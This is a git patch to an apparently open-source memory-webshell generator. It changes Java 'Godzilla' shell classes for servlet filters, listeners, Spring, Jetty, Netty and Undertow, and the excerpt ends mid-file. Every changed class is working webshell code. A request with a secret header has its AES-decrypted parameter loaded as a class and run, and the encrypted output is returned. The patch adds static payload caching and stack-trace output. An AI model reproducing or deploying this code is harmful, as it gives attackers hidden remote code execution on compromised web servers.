From 4563a97ceb7e79bc601654a3bcb2fe80d8d90743 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 16 Nov 2025 11:32:51 +0800 Subject: [PATCH] perf: remove session for godzilla --- .../memshell/shelltool/godzilla/Godzilla.java | 68 +++++++++++------- .../godzilla/GodzillaControllerHandler.java | 65 +++++++++++------ .../shelltool/godzilla/GodzillaFilter.java | 65 +++++++++++------ .../godzilla/GodzillaHandlerFunction.java | 31 ++++++-- .../godzilla/GodzillaHandlerMethod.java | 30 ++++++-- .../godzilla/GodzillaInterceptor.java | 65 +++++++++++------ .../godzilla/GodzillaJettyHandler.java | 72 ++++++++++++------- .../shelltool/godzilla/GodzillaListener.java | 71 +++++++++++------- .../godzilla/GodzillaNettyHandler.java | 30 ++++++-- .../shelltool/godzilla/GodzillaServlet.java | 66 +++++++++++------ .../GodzillaUndertowServletHandler.java | 68 +++++++++++------- .../shelltool/godzilla/GodzillaValve.java | 66 +++++++++++------ .../shelltool/godzilla/GodzillaWebFilter.java | 37 +++++++--- .../shelltool/godzilla/GodzillaWebSocket.java | 26 ++++++- 14 files changed, 514 insertions(+), 246 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java index ea743909..c01f29a0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.shelltool.godzilla; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; import java.io.PrintWriter; import java.lang.reflect.Constructor; import java.lang.reflect.Field; @@ -11,11 +12,12 @@ import java.security.Key; * @author ReaJason */ public class Godzilla extends ClassLoader { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public Godzilla() { } @@ -32,24 +34,27 @@ public class Godzilla extends ClassLoader { try { String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); if (value != null && value.contains(headerValue)) { - String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); - byte[] data = base64Decode(parameter); - data = this.x(data, false); - Object session = request.getClass().getMethod("getSession").invoke(request); - Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key); - if (cache == null) { - session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new Godzilla(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); - writer.write(md5.substring(0, 16)); - writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); - writer.write(md5.substring(16)); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + try { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + if (payload == null) { + payload = new Godzilla(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } return true; } @@ -117,6 +122,21 @@ public class Godzilla extends ClassLoader { clazz = clazz.getSuperclass(); } } - throw new NoSuchFieldException(); + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java index 95f42a43..c0b6f218 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java @@ -7,19 +7,21 @@ import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.io.PrintWriter; /** * @author ReaJason * @since 2024/12/22 */ public class GodzillaControllerHandler extends ClassLoader implements Controller { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaControllerHandler() { } @@ -31,22 +33,26 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - Object cache = session.getAttribute(key); - if (cache == null) { - session.setAttribute(key, (new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - response.getWriter().write(md5.substring(0, 16)); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); + PrintWriter writer = response.getWriter(); + try { + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } } } catch (Throwable e) { @@ -83,4 +89,19 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java index b527586f..c8f02bee 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java @@ -5,19 +5,21 @@ import javax.crypto.spec.SecretKeySpec; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; +import java.io.PrintWriter; /** * @author ReaJason */ public class GodzillaFilter extends ClassLoader implements Filter { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaFilter() { } @@ -33,22 +35,26 @@ public class GodzillaFilter extends ClassLoader implements Filter { HttpServletResponse response = (HttpServletResponse) servletResponse; try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - Object cache = session.getAttribute(key); - if (cache == null) { - session.setAttribute(key, (new GodzillaFilter(Thread.currentThread().getContextClassLoader())).Q(data)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - response.getWriter().write(md5.substring(0, 16)); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); + PrintWriter writer = response.getWriter(); + try { + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaFilter(Thread.currentThread().getContextClassLoader()).Q(data); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } return; } @@ -105,6 +111,21 @@ public class GodzillaFilter extends ClassLoader implements Filter { } } + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } + @Override public void init(FilterConfig filterConfig) throws ServletException { } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java index c7c589b2..0bfd80d1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java @@ -8,18 +8,19 @@ import reactor.core.publisher.Mono; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; /** * @author ReaJason * @since 2024/12/25 */ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - public Class payload; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaHandlerFunction() { } @@ -43,7 +44,7 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); } else { ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = payload.getDeclaredConstructor().newInstance(); + Object f = payload.newInstance(); f.equals(arrOut); f.equals(data); f.equals(request); @@ -54,6 +55,7 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct } } catch (Throwable ex) { ex.printStackTrace(); + result.append(getErrorMessage(ex)); } return Mono.just(result.toString()); }); @@ -88,4 +90,19 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java index b3544c5d..9d640d8e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java @@ -7,18 +7,19 @@ import reactor.core.publisher.Mono; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; /** * @author ReaJason * @since 2024/12/25 */ public class GodzillaHandlerMethod extends ClassLoader { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - public Class payload; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaHandlerMethod() { } @@ -52,7 +53,7 @@ public class GodzillaHandlerMethod extends ClassLoader { } } catch (Throwable ex) { ex.printStackTrace(); - result.append(ex.getMessage()); + result.append(getErrorMessage(ex)); } return Mono.just(result.toString()); }); @@ -86,4 +87,19 @@ public class GodzillaHandlerMethod extends ClassLoader { c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java index 34947401..9f0a0c2a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java @@ -7,19 +7,21 @@ import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.io.PrintWriter; /** * @author ReaJason * @since 2024/12/22 */ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaInterceptor() { } @@ -32,22 +34,26 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - Object cache = session.getAttribute(key); - if (cache == null) { - session.setAttribute(key, (new GodzillaInterceptor(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - response.getWriter().write(md5.substring(0, 16)); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); + PrintWriter writer = response.getWriter(); + try { + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaInterceptor(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } return false; } @@ -85,6 +91,21 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte return c.doFinal(s); } + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } + @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java index d50a60bb..bef4170e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java @@ -3,17 +3,19 @@ package com.reajason.javaweb.memshell.shelltool.godzilla; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; import java.io.PrintWriter; /** * @author ReaJason */ public class GodzillaJettyHandler extends ClassLoader { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaJettyHandler() { } @@ -47,27 +49,30 @@ public class GodzillaJettyHandler extends ClassLoader { try { String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); if (value != null && value.contains(headerValue)) { - String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); - byte[] data = base64Decode(parameter); - data = this.x(data, false); - Object session = request.getClass().getMethod("getSession").invoke(request); - Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key); - if (cache == null) { - session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); - writer.write(md5.substring(0, 16)); - writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); - writer.write(md5.substring(16)); - } - if (baseRequest != null) { - baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + try { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = base64Decode(parameter); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + if (baseRequest != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } return true; } @@ -104,4 +109,19 @@ public class GodzillaJettyHandler extends ClassLoader { c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java index d8d8b14b..3382da61 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java @@ -6,18 +6,20 @@ import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.io.PrintWriter; /** * @author ReaJason */ public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaListener() { } @@ -30,28 +32,28 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe public void requestInitialized(ServletRequestEvent servletRequestEvent) { HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request); - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - Object cache = session.getAttribute(key); - if (cache == null) { - session.setAttribute( - key, - (new GodzillaListener(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - response.getWriter().write(md5.substring(0, 16)); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); + PrintWriter writer = response.getWriter(); + try { + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaListener(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } } } catch (Throwable e) { @@ -91,6 +93,21 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe return c.doFinal(s); } + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } + @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java index 9a3b6fd3..370a8860 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java @@ -11,6 +11,7 @@ import io.netty.util.CharsetUtil; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; @@ -23,11 +24,11 @@ import java.nio.charset.StandardCharsets; */ @ChannelHandler.Sharable public class GodzillaNettyHandler extends ChannelDuplexHandler { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; private final StringBuilder requestBody = new StringBuilder(); private HttpRequest request; private static Class payload; @@ -65,7 +66,6 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler { if (payload == null) { payload = reflectionDefineClass(data); send(ctx, ""); - return; } else { Object f = payload.newInstance(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); @@ -74,10 +74,11 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler { f.toString(); send(ctx, md5.substring(0, 16) + base64Encode(x(arrOut.toByteArray(), true)) + md5.substring(16)); } - return; } catch (Throwable e) { e.printStackTrace(); + send(ctx, getErrorMessage(e)); } + return; } ctx.fireChannelRead(msg); } @@ -145,4 +146,19 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler { response.headers().set(HttpHeaderNames.CONTENT_LENGTH, response.content().readableBytes()); ctx.channel().writeAndFlush(response).addListener(ChannelFutureListener.CLOSE); } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java index 34111707..0b077868 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java @@ -5,20 +5,22 @@ import javax.crypto.spec.SecretKeySpec; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; import java.io.IOException; +import java.io.PrintStream; +import java.io.PrintWriter; /** * @author ReaJason * @since 2024/12/15 */ public class GodzillaServlet extends ClassLoader implements Servlet { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaServlet() { } @@ -33,24 +35,27 @@ public class GodzillaServlet extends ClassLoader implements Servlet { HttpServletResponse response = (HttpServletResponse) res; try { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - Object cache = session.getAttribute(key); - if (cache == null) { - session.setAttribute(key, (new GodzillaServlet(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) cache).newInstance(); - f.equals(arrOut); - f.equals(request); - f.equals(data); - f.toString(); - response.getWriter().write(md5.substring(0, 16)); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); + PrintWriter writer = response.getWriter(); + try { + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (payload == null) { + payload = new GodzillaServlet(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(request); + f.equals(data); + f.toString(); + writer.write(md5.substring(0, 16)); + writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); + writer.write(md5.substring(16)); + } + } catch (Throwable e) { + e.printStackTrace(); + writer.write(getErrorMessage(e)); } - } } catch (Throwable e) { e.printStackTrace(); @@ -85,6 +90,21 @@ public class GodzillaServlet extends ClassLoader implements Servlet { } } + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } + @Override public void init(ServletConfig config) throws ServletException { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java index 5202036b..85875843 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java @@ -3,17 +3,19 @@ package com.reajason.javaweb.memshell.shelltool.godzilla; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayOutputStream; +import java.io.PrintStream; import java.io.PrintWriter; /** * @author ReaJason */ public class GodzillaUndertowServletHandler extends ClassLoader { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; + private static String key; + private static String pass; + private static String md5; + private static String headerName; + private static String headerValue; + private static Class payload; public GodzillaUndertowServletHandler() { } @@ -36,25 +38,28 @@ public class GodzillaUndertowServletHandler extends ClassLoader { Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); if (value != null && value.contains(headerValue)) { - String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); - byte[] data = base64Decode(parameter); - data = this.x(data, false); - Object session = request.getClass().getMethod("getSession").invoke(request); - Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key); - if (cache == null) { - session.getClass().getMethod("setAttribute", String.class, 